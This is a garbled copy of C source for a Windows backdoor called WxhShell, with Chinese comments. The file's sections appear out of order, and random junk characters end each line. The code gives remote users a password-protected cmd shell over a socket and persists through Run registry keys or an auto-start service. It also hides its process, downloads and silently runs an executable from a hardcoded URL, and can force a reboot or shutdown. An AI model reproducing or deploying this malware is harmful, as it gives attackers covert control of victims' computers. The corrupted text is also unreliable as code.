    if(Boot(SHUTDOWN)) g.cD3N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #ilU(39e  
    else { lF=l|.c  
    closesocket(wsh); 2Sq+w;/  
    ExitThread(0); \mBH6GS  
    } !A6l\_  
    break; c1,dT2:=  
    } !Gphs`YI  
  // 获取shell s`bC?wr5h  
  case 's': { A(xCW+h@)  
    CmdShell(wsh); (4U59<ie  
    closesocket(wsh); Ix"hl0Kh  
    ExitThread(0); )ZU=`!4  
    break; L 1fK  
  } fO4e[g;G  
  // 退出 %/^k r ZD  
  case 'x': { Xgy)Z:R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s 4Mi9h_  
    CloseIt(wsh); CD]2a@j {  
    break; =h083|y>  
    } 'pUJlPGx  
  // 离开 6iozb~!Rr  
  case 'q': { WF6'mg^^?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sF/X#GG-  
    closesocket(wsh); L?@ TF;  
    WSACleanup(); V!'N:je  
    exit(1); /$IF!q+C  
    break; is3nLm(  
        } %Ps DS  
  } eBK s-2r  
  } 4E Hb  
NjTVinz  
  // 提示信息 sH^?v0^a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h-XMr_F  
} 2Qoj>Wy{  
  } A0NNB%4|/  
tGKIJ`w*h  
  return; &zCqF=/9U  
} 4b"%171  
C~2/ 5  
// shell模块句柄 KAR XC,z  
int CmdShell(SOCKET sock) R|Oy/RGY$  
{ fs]9HK/@\  
STARTUPINFO si; ,tEvz  
ZeroMemory(&si,sizeof(si)); 8Ee bWs*1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; brQkVt_)EE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cI)XXb4  
PROCESS_INFORMATION ProcessInfo; A2` QlhZ  
char cmdline[]="cmd"; bb6 ~H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;|2h&8yX(/  
  return 0; n 0X_m@  
} s[yIvlHw`  
u@`)u#  
// 自身启动模式 oCLs"L-r{  
int StartFromService(void) 3^LSK7.:  
{ |~! R5|Q  
typedef struct CS 7"mE`{  
{  s*gyk  
  DWORD ExitStatus; z.H*"r  
  DWORD PebBaseAddress; lR!Sdd} -  
  DWORD AffinityMask; Y$^x.^dT,  
  DWORD BasePriority; kT(}>=]g  
  ULONG UniqueProcessId; Nk-biD/J  
  ULONG InheritedFromUniqueProcessId; 1}E`K#  
}   PROCESS_BASIC_INFORMATION; x8a?I T.  
\WM*2&  
PROCNTQSIP NtQueryInformationProcess; #5?Q{ORN o  
;Yrg4/Ipa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mk=;UBb$X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L3Leb%,!  
H=vrF-#  
  HANDLE             hProcess; DPfP)J:~  
  PROCESS_BASIC_INFORMATION pbi; nL}bCX{  
k'N `5M)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IJ^KYho  
  if(NULL == hInst ) return 0; }2Lh'0 xY  
)x.}B4z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _tR%7%3*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U.oxLbJ`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (~oUd 4  
]fXMp*LvY  
  if (!NtQueryInformationProcess) return 0; rK*s/mX <  
+#5nk,1c>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hFw\uETu  
  if(!hProcess) return 0; _nR8L`l*z  
TEZ^Ia  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o~ .[sn5l-  
/Yk2 |L  
  CloseHandle(hProcess); Kp *nOZ  
&* 4uji  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }>JFO:v&  
if(hProcess==NULL) return 0; @GGzah#  
9l+`O0.@  
HMODULE hMod; QD LXfl/  
char procName[255]; 9&A-o  
unsigned long cbNeeded; %zHNX4  
^4Ra$<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U,C L*qTF  
,\;;1Kq  
  CloseHandle(hProcess); 'Y+AU#1~H  
?lv{;4BC  
if(strstr(procName,"services")) return 1; // 以服务启动 &\][:kG;  
9?r|Y@xh]  
  return 0; // 注册表启动 ~UjFL~K}  
} v]g/ 5qI&  
e-4XNL[F  
// 主模块 sk~rjH]-g$  
int StartWxhshell(LPSTR lpCmdLine) l=5(5\  
{ m?-3j65z  
  SOCKET wsl; 05:`(vl  
BOOL val=TRUE; %}cGAHV  
  int port=0; p(MhDS\J  
  struct sockaddr_in door; UYH;15s  
>Fm}s,  
  if(wscfg.ws_autoins) Install(); ]RmQ*F-  
-6MgC9]  
port=atoi(lpCmdLine); yy4QY%  
?7@Y=7BS4  
if(port<=0) port=wscfg.ws_port; :g3n [7wR  
]Ff"o7gT  
  WSADATA data; (LPMEQhI:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vq *N  
\)VV6'zih  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #Nxk3He]8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2O {@W +Mt  
  door.sin_family = AF_INET; @FL?,_,Y{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %4U;Rdq&Ud  
  door.sin_port = htons(port); vm)&WEL!  
?eT^gWX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]#N2:ych  
closesocket(wsl); ~$>l@> xX  
return 1; 2%N$Y]  
} nBL7LocvR  
U9IP`)z_5t  
  if(listen(wsl,2) == INVALID_SOCKET) { ;]?1i4p)  
closesocket(wsl); W-%oj.BMA  
return 1; I#Ay)+D  
} B:5( sK  
  Wxhshell(wsl); @D8c-`LC"*  
  WSACleanup(); :(?joLA  
S#qd#Zk|Y  
return 0; cj-P&D[Ny[  
eX 9{wb(  
} qIK"@i[ uq  
cD^n}'ej  
// 以NT服务方式启动 I,vy__ sZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R8UtX9'*sa  
{ oK@!yYv  
DWORD   status = 0; AJSe +1  
  DWORD   specificError = 0xfffffff; Lm\N`  
.ps'{rl8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; au2 ieZZ[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ; A~S){  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oju7<b9Ez  
  serviceStatus.dwWin32ExitCode     = 0; ?b2  
  serviceStatus.dwServiceSpecificExitCode = 0; F ^Rt 6Io  
  serviceStatus.dwCheckPoint       = 0; UiA\J  
  serviceStatus.dwWaitHint       = 0;  ~%_$e/T  
h@FDP#H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6 k+FTDL  
  if (hServiceStatusHandle==0) return; CJk$o K{Q  
H r?G_L  
status = GetLastError(); .&.j?kb  
  if (status!=NO_ERROR) E\#hcvP  
{ 4H8vB^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AD =@  
    serviceStatus.dwCheckPoint       = 0; /j./  
    serviceStatus.dwWaitHint       = 0; {gluK#Qm  
    serviceStatus.dwWin32ExitCode     = status; T5NO}bz  
    serviceStatus.dwServiceSpecificExitCode = specificError; $"C]y$}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 V*Di2  
    return; ~WU _u,:  
  } oabc=N!7r  
{bL6%._C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,Cj1S7GFR  
  serviceStatus.dwCheckPoint       = 0; q5?g/-_0[  
  serviceStatus.dwWaitHint       = 0; tYiK#N7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MVz=:2)J2  
} ws Lg6  
U .hV1  
// 处理NT服务事件,比如:启动、停止 V(1Ldl'a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G>&=rmK"  
{ ZO{uG(u  
switch(fdwControl) zx'G0Z9]  
{ .MMFN }1O  
case SERVICE_CONTROL_STOP: Hv(0<k6oH  
  serviceStatus.dwWin32ExitCode = 0; ?`Qw=8]`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \-N 4G1  
  serviceStatus.dwCheckPoint   = 0; 7 }>j [  
  serviceStatus.dwWaitHint     = 0; Rtw^ lo  
  { _Xd,aLoo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AU}e^1h  
  } \v{tK;  
  return; KOGbC`TN<  
case SERVICE_CONTROL_PAUSE: Q+)fI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rA&|!1q"B  
  break; mf6?8!O}>  
case SERVICE_CONTROL_CONTINUE: aB"W6[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MFcN.M  
  break; g e:UliHJ  
case SERVICE_CONTROL_INTERROGATE: S*Scf~Qp  
  break; T[B@7$Dp*  
}; aiGT!2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2]C`S,)  
} #o_`$'>  
12DMb9_rp  
// 标准应用程序主函数 -}@3,G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S{{D G  
{ vE7L> 7  
g4!zH};n  
// 获取操作系统版本 _,_>B8  
OsIsNt=GetOsVer(); o0&jel1a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |Y|{9Osus  
B;Ab`UX#t  
  // 从命令行安装 5WgdgDb@L  
  if(strpbrk(lpCmdLine,"iI")) Install(); DtG><g}[]  
lb5Y$ZC  
  // 下载执行文件 &\4AvaeA8y  
if(wscfg.ws_downexe) { R<lj$_72Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qCOv4b`  
  WinExec(wscfg.ws_filenam,SW_HIDE); >/nS<y>  
} VS@o_fUx)  
kX."|]  
if(!OsIsNt) { E8J `7sa  
// 如果时win9x,隐藏进程并且设置为注册表启动 +Tc<|-qQn  
HideProc(); OsPx-|f S~  
StartWxhshell(lpCmdLine); zI8Q "b  
} A>(m}P  
else *,{. oO9#  
  if(StartFromService()) ;H /*%2  
  // 以服务方式启动 2+ F34  
  StartServiceCtrlDispatcher(DispatchTable); z"bgtlfb8  
else iq-n(Rfw~  
  // 普通方式启动 2-j+-B|i  
  StartWxhshell(lpCmdLine); ,.uu/qV}w  
RzQ1Wq  
return 0; 55MsF}p  
} 8:0QIkqk  
3]WIN_h  
=_I2ek  
`DIIJ<;g  
=========================================== ^-c j=on=Q  
hNmC(saMGm  
A U9Y0<  
GLQ1rT  
n( l!T 7  
G<OC99;8  
" 1VL!0H  
~'KymarPU  
#include <stdio.h> LOpn PH`  
#include <string.h> qEPvV  
#include <windows.h> yjvzA|(YC  
#include <winsock2.h> 6 /gh_'&  
#include <winsvc.h> ]]`hnzJX  
#include <urlmon.h> ]?S\So+  
z]^&^VFu  
#pragma comment (lib, "Ws2_32.lib") a_4Ny  
#pragma comment (lib, "urlmon.lib") <KqZ.7XfB  
%&5 !vK  
#define MAX_USER   100 // 最大客户端连接数 $UavM|  
#define BUF_SOCK   200 // sock buffer 9KRHo%m  
#define KEY_BUFF   255 // 输入 buffer TKj8a(R_  
\~d|MP}"F:  
#define REBOOT     0   // 重启 ~4y&]:I  
#define SHUTDOWN   1   // 关机 F&.iY0Pt  
I=6\z^:  
#define DEF_PORT   5000 // 监听端口 $cEl6(66iX  
\{@s@VBx[  
#define REG_LEN     16   // 注册表键长度 /R^Moj<  
#define SVC_LEN     80   // NT服务名长度 `}#(Ze*V:  
<#<4A0:  
// 从dll定义API 3P~I' FQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u@5vK2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /:d03N\9k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _}R?&yO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U*`7   
(g xCP3  
// wxhshell配置信息 Gf\Dc   
struct WSCFG { LvgNdVJDP|  
  int ws_port;         // 监听端口 [>QV^2'Z  
  char ws_passstr[REG_LEN]; // 口令 W&ya_iP~C  
  int ws_autoins;       // 安装标记, 1=yes 0=no !c[(#g  
  char ws_regname[REG_LEN]; // 注册表键名 MKLntX  
  char ws_svcname[REG_LEN]; // 服务名 $, 4;_4t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5n! V^ !  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3US}('  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S%<RV6{aiM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \.y|=Ql_u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IJ2]2FI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tp<uN~rTgh  
3?SofPtc/  
}; *#-X0}'s  
DKgwi'R  
// default Wxhshell configuration BlUl5mP}>  
struct WSCFG wscfg={DEF_PORT, m6tbN/EJZ  
    "xuhuanlingzhe", By(:%=.  
    1, a5ZU"6Hi  
    "Wxhshell", { 2G9>'  
    "Wxhshell", Yh)yp?  
            "WxhShell Service", S/G6NBnbS  
    "Wrsky Windows CmdShell Service", 4zs1BiMG  
    "Please Input Your Password: ", ,}2yxo;i  
  1, H$TYp  
  "http://www.wrsky.com/wxhshell.exe", 0KO_bF#EB=  
  "Wxhshell.exe" *c4uCI:0t  
    }; La9v97H:  
8aZuI|z  
// 消息定义模块 i <0H W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |&B.YLx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qOYCQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <jE6ye(R  
char *msg_ws_ext="\n\rExit."; 3-#|6khqt  
char *msg_ws_end="\n\rQuit."; O9*cV3}H  
char *msg_ws_boot="\n\rReboot..."; ss63/   
char *msg_ws_poff="\n\rShutdown..."; O 4@sN=o  
char *msg_ws_down="\n\rSave to "; E;$)Oz  
>y)(M(o  
char *msg_ws_err="\n\rErr!"; Ug02G  
char *msg_ws_ok="\n\rOK!"; e\x=4i  
<6^MVaD  
char ExeFile[MAX_PATH]; {WUW.(^]G  
int nUser = 0; N p9N#m?  
HANDLE handles[MAX_USER]; >FED*C4  
int OsIsNt; ?#?[6t  
ks|[`FH  
SERVICE_STATUS       serviceStatus; BqC, -gC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S6CM/  
=S/$h}Vi  
// 函数声明 maQE Bi,  
int Install(void); >yFEUD:  
int Uninstall(void); g.OBh_j-v  
int DownloadFile(char *sURL, SOCKET wsh); &EKP93  
int Boot(int flag); YfL|FsCh  
void HideProc(void); "]J4BZD  
int GetOsVer(void); ^]c/hb|X  
int Wxhshell(SOCKET wsl); Fgq"d7`9@  
void TalkWithClient(void *cs); tn\Y:  
int CmdShell(SOCKET sock); Su`LBz"  
int StartFromService(void); U">J$M@  
int StartWxhshell(LPSTR lpCmdLine); a7'.*H]  
N"M K 0k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EeGP E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ModwJ w  
c#sPM!!  
// 数据结构和表定义 z3+y|nx!  
SERVICE_TABLE_ENTRY DispatchTable[] = y;A<R[|Ve  
{ WmU4~.  
{wscfg.ws_svcname, NTServiceMain}, pFi.?|6"  
{NULL, NULL} wP28IB:^  
}; Y: &?xR  
[^xLK  
// 自我安装 xcdy/J&  
int Install(void) y~'F9E!i  
{ 7[5g_D t  
  char svExeFile[MAX_PATH]; N^7Qn*qt[  
  HKEY key; &No6k~T0:b  
  strcpy(svExeFile,ExeFile); ~$XbYR-  
&.z: i5&o!  
// 如果是win9x系统,修改注册表设为自启动 MMCac6;Aea  
if(!OsIsNt) { ^2E\{$J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fkE4 [X7f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vaL+@Kq~&  
  RegCloseKey(key); (dD+?ZOO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #(& ! ^X3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); usEd p  
  RegCloseKey(key); gQaBQq9  
  return 0; 9EzXf+f  
    } vmdu9"H  
  } h(]aP<49L  
} "?EoYF_  
else { i? 5jl&30  
xCwd*lsM  
// 如果是NT以上系统,安装为系统服务 +c4]}9f!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N*z_rZE  
if (schSCManager!=0) ']1\nJP[=X  
{ O{Bll;C  
  SC_HANDLE schService = CreateService yf`Nh  
  ( 0[ MQp"z  
  schSCManager, ({ 'I;]AQ  
  wscfg.ws_svcname, {3=M-U~r  
  wscfg.ws_svcdisp, am.}2 QZU  
  SERVICE_ALL_ACCESS, #4S">u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z%cq%P8g  
  SERVICE_AUTO_START, O8:$sei$  
  SERVICE_ERROR_NORMAL, .;j}:<  
  svExeFile, k(1]!c4J0  
  NULL, m<L.H33'  
  NULL, rT$J0"*=  
  NULL, =9$hZ c  
  NULL, gwE#,OY*  
  NULL WE\@ArY>  
  ); ?U'c;*O-  
  if (schService!=0) pN# \  
  { zf-)c1$*r  
  CloseServiceHandle(schService); l>K z5re^  
  CloseServiceHandle(schSCManager); fw aq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !f5I.r~  
  strcat(svExeFile,wscfg.ws_svcname); d`]| i:*q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j3{8]D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cU <T;1VQ  
  RegCloseKey(key); 0'u2xe  
  return 0; ?K, xxH  
    } ph\KTLU  
  } 0>hV?A  
  CloseServiceHandle(schSCManager); F FHk0!3  
} P,5gaT)  
} J6pQ){;6  
q]Y [W1  
return 1; 4oW6&1  
} Y1 RiuJtL  
?EP>yCR9  
// 自我卸载 BR\3ij  
int Uninstall(void) qr>:meJy4  
{ R'R LF =  
  HKEY key; Hq9yu*!u  
;xF5P'T?|  
if(!OsIsNt) { ~=HrD?-99p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1.\|,$  
  RegDeleteValue(key,wscfg.ws_regname); 3S4'x4*  
  RegCloseKey(key); V,t&jgG*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j8/rd  
  RegDeleteValue(key,wscfg.ws_regname); I*c B Ha  
  RegCloseKey(key); WrvSYqN  
  return 0; MZp`  
  } >C,=elM  
} QC@nRy8%  
} hAx#5@*5  
else { 3^p<Wx  
(!kd9uV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /G)Y~1ASA%  
if (schSCManager!=0) %qG nvQ  
{ i,HafY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5!WQ  
  if (schService!=0) Y r3h=XY  
  { v:otR%yt  
  if(DeleteService(schService)!=0) { 72rnMHq  
  CloseServiceHandle(schService); xj 6ht/qq  
  CloseServiceHandle(schSCManager); E ]eVoC  
  return 0; 3I0=^ >A  
  } ,G2]3 3Z  
  CloseServiceHandle(schService); ^R\et.W`s  
  } !OwRx5  
  CloseServiceHandle(schSCManager); :4 9ttJl  
} (`S32,=TS  
} 'N1_:$z@(  
}yM /z  
return 1; :N!Fe7H,  
} =.vc={_ ?  
rv`kP"I  
// 从指定url下载文件 D0T0Km/"  
int DownloadFile(char *sURL, SOCKET wsh) 76e%&ZG)Q  
{ &YMz3ugI  
  HRESULT hr; 9qyA{ |3  
char seps[]= "/"; yEYlQ=[#  
char *token; OVr, {[r  
char *file; s^5KFK1  
char myURL[MAX_PATH]; r\6 "mU  
char myFILE[MAX_PATH]; IIC1T{D}v  
lwS6"2q  
strcpy(myURL,sURL); J:s^F n  
  token=strtok(myURL,seps); 43cdWd%  
  while(token!=NULL) cYBv}ylw}R  
  { SQ*dC  
    file=token; AhjK*nJF  
  token=strtok(NULL,seps); 7.hgne'<  
  } #"tHT<8u  
JNY;;9o  
GetCurrentDirectory(MAX_PATH,myFILE); lPcp 17U  
strcat(myFILE, "\\"); [x}]sT`#a  
strcat(myFILE, file); 34Q;& z\e  
  send(wsh,myFILE,strlen(myFILE),0); c\2+f7o@  
send(wsh,"...",3,0); jKFypIZ4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r!/=Iy@  
  if(hr==S_OK) py9zDWk~  
return 0; _Wcr'*7  
else "`pI! nj  
return 1; Vc}#Ok  
wc #+ Yh6  
} hh\\api  
hoy+J/  
// 系统电源模块 CV/ei,=9  
int Boot(int flag) ex_Zw+n  
{ F8e]sa$K\  
  HANDLE hToken; L2"fO  
  TOKEN_PRIVILEGES tkp; 1.7tXjRd+  
T KpX]H`  
  if(OsIsNt) { ^,@!L-<~(b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SM>V o+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #$h~QBg  
    tkp.PrivilegeCount = 1; &Nf10%J'<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tac7+=T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JffjGf-o  
if(flag==REBOOT) { DDdMWH^o7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J%|!KQl  
  return 0; 25xpq^Zw  
} eKd F-;  
else { D ff0$06Nq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) , sEu[m  
  return 0; XA8{N  
} X+l &MD  
  } sGx"j a +  
  else { xyGk\= S  
if(flag==REBOOT) { 6nxX~k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?L=@Zs  
  return 0; bLMN9wGOgK  
} Rv9oK-S  
else { Uloa]X=Im8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) //C3tW  
  return 0; Wj2s+L7,  
} $N$ ZJC6(@  
} I@ dS/  
nic7RN?F<  
return 1; ka_]s:>+  
} 9NCo0!Fb  
2z/qbzG7  
// win9x进程隐藏模块 S1 22. I  
void HideProc(void) `% sKF  
{ (n'Mf  
MCN}p i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9|yn{4E  
  if ( hKernel != NULL ) sjBP#_lW  
  { l7G&[\~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o&2(xI2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x5q5<-#  
    FreeLibrary(hKernel); F?b5!<5  
  } NYwE=b~I  
Gc=#  
return; .ztO._J7f  
} y8T%g(  
m`(5B  
// 获取操作系统版本 fp^!?u  
int GetOsVer(void) ve|:z  
{ ${"+bWG2G!  
  OSVERSIONINFO winfo; [}snKogp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;>?NH6B,  
  GetVersionEx(&winfo); ;m/%g{oV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #R&D gt  
  return 1; Hm=!;xAFX  
  else VEAf,{)Q  
  return 0; eNN)2-96  
} ?+Sjt  
D[) Z$+D4f  
// 客户端句柄模块 c`]_Q1'30w  
int Wxhshell(SOCKET wsl) {Lj]++`fB]  
{ k@1\ULo  
  SOCKET wsh; NFT&\6!o  
  struct sockaddr_in client;  M1>< K:  
  DWORD myID; \(9hg.E  
|KR; $e&  
  while(nUser<MAX_USER) 8,0p14I5;  
{ (8C ,"Dc[0  
  int nSize=sizeof(client); %<@."uWF*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I_ "1.  
  if(wsh==INVALID_SOCKET) return 1; (ly4[G1y  
Z1j3F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BLzl XhHn  
if(handles[nUser]==0) Bob K>db  
  closesocket(wsh); U8_<?Hd  
else uW*)B_c  
  nUser++; /Jz?~H{%n  
  } ~(4;P%L:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h^E"eC  
RJ/4T#b"+  
  return 0; (UW V#AR  
} !Yx9=>R  
$q`650&S*  
// 关闭 socket tHez S~t_  
void CloseIt(SOCKET wsh) M*|,05>  
{ OQt_nb#z`{  
closesocket(wsh); '0z-duu  
nUser--; P !:LAb(  
ExitThread(0);  Dh=?Hzw  
} m44Ab6gpsb  
Bi7QYi/  
// 客户端请求句柄 '8+<^%c  
void TalkWithClient(void *cs) 1-`Il]@?8  
{ pWY $aI  
09jU 0x  
  SOCKET wsh=(SOCKET)cs; };5d>#NK,Y  
  char pwd[SVC_LEN]; dTN[E6#R  
  char cmd[KEY_BUFF]; H$2<N@'4z  
char chr[1]; - inZX`afA  
int i,j; Wr.G9zq.+  
nM*-Dy3ou  
  while (nUser < MAX_USER) {  /="~Jo  
%3B0s?,I  
if(wscfg.ws_passstr) { k WVaHZr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R pUq#Y:a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5>{S^i~!  
  //ZeroMemory(pwd,KEY_BUFF); 4-RzWSFbo`  
      i=0; Bf37/kkf(  
  while(i<SVC_LEN) { 1n+C'P"  
"<f"r#   
  // 设置超时 '1|FqQ\.  
  fd_set FdRead; +AGI)uQQ  
  struct timeval TimeOut; |G^w2"D_Z  
  FD_ZERO(&FdRead); Ae,P&(  
  FD_SET(wsh,&FdRead); |KF_h^  
  TimeOut.tv_sec=8; )erI3?k  
  TimeOut.tv_usec=0; X6lkz*M.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (* WO<V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~ ;CnwG   
B(+J?0Dj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N"A863>  
  pwd=chr[0]; #~(J J  
  if(chr[0]==0xd || chr[0]==0xa) { koQ\]t'*As  
  pwd=0; 6M({T2e  
  break; x<_uwL2a  
  } 0q6$KP}q  
  i++; |Tn+Aq7  
    } VKI`@rY4  
@w?y;W!a>  
  // 如果是非法用户,关闭 socket m0*bz5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wjLtLtK?  
} Tw^b!74gq  
IGKF&s*;{[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /G}TPXA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3i KBVN  
2$G,pT1J  
while(1) { ;[pY>VJ(  
b#XY.+ *0  
  ZeroMemory(cmd,KEY_BUFF); 7OF6;@<  
zQpF, N<b  
      // 自动支持客户端 telnet标准   :Kc9k(3&r  
  j=0; 5,H,OZ}  
  while(j<KEY_BUFF) { jIpc^iu`,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ei TG  
  cmd[j]=chr[0]; $^[^ ]Q  
  if(chr[0]==0xa || chr[0]==0xd) { J0{;"  
  cmd[j]=0; b/>L}/^PM  
  break; J['pBlEb\  
  } F#<$yUf%  
  j++; 14U:.Q  
    } P*9vs%W  
B !>hHQ2  
  // 下载文件 /*v} .fH%  
  if(strstr(cmd,"http://")) { }q-*Ls~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =8Bq2.nlR  
  if(DownloadFile(cmd,wsh)) Sz z:$!t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <$H-/~Y  
  else S3cV^CzNg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HN7C+e4U~  
  } CFo>D\*J  
  else { Gp&o  
tCoT-\Q  
    switch(cmd[0]) { st91r V$y?  
